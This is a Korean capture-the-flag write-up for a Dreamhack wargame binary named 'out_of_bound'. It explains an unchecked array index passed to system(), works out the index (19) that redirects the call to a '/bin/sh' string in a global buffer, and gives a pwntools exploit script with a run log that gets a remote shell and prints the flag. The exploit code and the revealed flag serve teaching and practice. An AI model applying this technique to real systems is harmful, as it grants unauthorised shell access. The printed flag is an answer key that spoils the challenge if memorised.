Description
이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
“flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
[*] '/home/ubuntu/CTF/dreamhack.io/out_of_bound/out_of_bound' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <string.h> char name[16]; char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { int idx; initialize(); printf("Admin name: "); read(0, name, sizeof(name)); printf("What do you want?: "); scanf("%d", &idx); system(command[idx]); return 0; }
전역 변수 idx를 name을 입력받고
idx 값을 입력받아 command에 있는 명령들을 실행시킬 수 있지만,
입력할 수 있는 idx 값의 범위가 따로 정해져있지 않다는 문제점이 있다.
ASLR이 비활성화되었기 때문에 코드 세그먼트에 있는 메모리 주소가 고정되어 있으므로
command[idx]를 name 포인터 주소로 가리키게 만들고
name 포인터 주소에는 /bin/sh를 가리키는 주소를 넣으면 된다.
name은 0x0804a0ac에 있으므로
gdb-peda$ info var name All variables matching regular expression "name": Non-debugging symbols: 0x0804a0ac name
아래와 같이 name을 입력받으면 된다.
그리고 idx는 name을 가리키는 주소로 가리키게 만들기 위해
간단한 산수면 충분하다.
eax가 idx이므로,
0x0804a0ac(name 주소) = idx * 4 + 0x804a060,
idx = 19가 된다.
int __cdecl main(int argc, const char **argv, const char **envp) ... 0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt> 0x08048731 <+102>: add esp,0x10 0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10] 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060] 0x0804873e <+115>: sub esp,0xc 0x08048741 <+118>: push eax 0x08048742 <+119>: call 0x8048500 <system@plt> ...
from pwn import * context.log_level='debug' p = remote('host3.dreamhack.games', 17213) payload = p32(0x804a0b0) + b"/bin/sh" p.sendafter("Admin name: ", payload) p.sendlineafter("What do you want?: ", b"19") p.interactive()
ubuntu@docker:~/CTF/dreamhack.io/out_of_bound$ python3 out_of_bound.py [+] Opening connection to host3.dreamhack.games on port 17213: Done [DEBUG] Received 0xc bytes: b'Admin name: ' [DEBUG] Sent 0xb bytes: 00000000 b0 a0 04 08 2f 62 69 6e 2f 73 68 │····│/bin│/sh│ 0000000b [DEBUG] Received 0x13 bytes: b'What do you want?: ' [DEBUG] Sent 0x3 bytes: b'19\n' [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x12 bytes: b'flag\n' b'out_of_bound\n' flag out_of_bound $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x24 bytes: b'DH{2524e20ddeee45f11c8eb91804d57296}' DH{2524e20ddeee45f11c8eb91804d57296}